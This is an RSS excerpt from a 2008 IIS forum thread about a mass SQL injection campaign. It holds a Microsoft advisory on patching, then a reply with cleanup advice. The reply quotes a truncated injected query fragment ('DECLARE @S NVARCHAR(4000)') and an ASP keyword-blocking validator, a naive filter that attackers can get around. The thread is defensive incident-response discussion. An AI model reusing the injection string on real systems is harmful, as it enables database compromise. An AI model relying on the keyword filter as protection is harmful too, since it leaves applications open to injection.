&lt;p&gt;For end-users, the investigation also shows no indication of an un-patched vulnerability in IIS, SQL Server, Internet Explorer or any other Microsoft client software, so we recommend customers apply the latest updates to be protected from these attacks.&lt;/p&gt;
&lt;p&gt;To further protect themselves from reported attacks, we encourage all customers to apply our most recent security updates to help ensure that their computers are protected from attempted criminal attacks. For more information about security updates, visit: &lt;a href="http://www.microsoft.com/protect"&gt;www.microsoft.com/protect&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Anyone believed to have been affected can visit: &lt;a href="http://www.microsoft.com/protect/support/default.mspx"&gt;http://www.microsoft.com/protect/support/default.mspx&lt;/a&gt; and should contact the national law enforcement agency in their country.&amp;nbsp; Those in the United States can contact Customer Service and Support at no charge using the PC Safety hotline at 1-866-PCSAFETY.&amp;nbsp; Additionally, customers in the United States should contact their local FBI office or report their situation at: &lt;a href="http://www.ic3.gov/"&gt;www.ic3.gov&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Calibri" size="3"&gt;Subscribe to this thread, or check back later for the latest information from the community.&lt;/font&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/p/1148917/1868103.aspx#1868103</link><pubDate>Thu, 24 Apr 2008 21:11:03 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1868103</guid><dc:creator>nhertz</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;I would advise anyone affected by this attack to activate the SQL profiler (or equivalent) and set it to record only EXEC commands.&amp;nbsp;If your website then becomes infected again you can quickly scroll through the profiler output and find the &amp;quot;suspicious&amp;quot; command where the injection has entered. This should also give you a hint of the exact page that had the vulnerability.&lt;/p&gt;
&lt;p&gt;I cleaned up a site this week where the profiler had recorded:&lt;/p&gt;
&lt;p&gt;SELECT TOP 100 People.Countries, States.Titles, Houses.Types FROM People,&amp;nbsp;States, Houses&amp;nbsp;Where People.Titles&amp;nbsp;LIKE &amp;#39;%agent;DECLARE @S NVARCHAR(4000);SET etc......&lt;/p&gt;
&lt;p&gt;So I could quickly locate the page which had the SELECT TOP 100 statement.&lt;br /&gt;That is where I added the quick fix:&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;br /&gt;some code here....&lt;br /&gt;%&amp;gt;&amp;nbsp;&lt;br /&gt;&amp;lt;!--#include file=&amp;quot;validator.asp&amp;quot;--&amp;gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;rs.Open sql&lt;br /&gt;%&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;With the validator file containing:&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;br /&gt;if instr(lcase(sql),&amp;quot;;--&amp;quot;)&amp;gt;0 then&lt;br /&gt;response.redirect(&amp;quot;index.asp&amp;quot;)&lt;br /&gt;end if&lt;/p&gt;
&lt;p&gt;if instr(lcase(sql),&amp;quot;nvarchar&amp;quot;)&amp;gt;0 then&lt;br /&gt;response.redirect(&amp;quot;index.asp&amp;quot;)&lt;br /&gt;end if&lt;br /&gt;%&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;Cheers and good luck,&lt;/p&gt;
&lt;p&gt;Nicolai Hertz&lt;br /&gt;software programmer&lt;/p&gt;</description></item></channel></rss>